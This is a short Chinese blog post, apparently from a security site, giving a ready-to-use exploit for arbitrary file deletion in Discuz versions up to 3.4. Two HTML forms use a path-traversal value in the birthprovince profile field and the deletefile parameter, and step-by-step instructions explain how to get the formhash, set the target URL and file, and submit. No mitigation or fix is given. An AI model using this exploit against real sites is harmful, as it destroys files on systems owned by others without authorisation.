discuz 任意文件删除
73 words
One minute
views
漏洞影响范围 discuz <= 3.4
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<form action="http://www.xxx.com/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
<input type="text"name="birthprovince" id="text" value="../../../test.txt" />
<input type="text"name="formhash" value="de746a38"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
</form>
<br />
<form action="http://www.xxx.com/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="de746a38"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
</form>
|
首先在前台注册账号
个人中心 修改个人资料
![http://exp10it-1252109039.cossh.myqcloud.com/2018/03/19/1521461557.jpg http://exp10it-1252109039.cossh.myqcloud.com/2018/03/19/1521461557.jpg]()
右键查看 formhash
![http://exp10it-1252109039.cossh.myqcloud.com/2018/03/19/1521461560.jpg http://exp10it-1252109039.cossh.myqcloud.com/2018/03/19/1521461560.jpg]()
修改 exp 中的网址
填上要删除的文件 formhash 选择文件
两个 submit 分别提交
![http://exp10it-1252109039.cossh.myqcloud.com/2018/03/19/1521461562.jpg http://exp10it-1252109039.cossh.myqcloud.com/2018/03/19/1521461562.jpg]()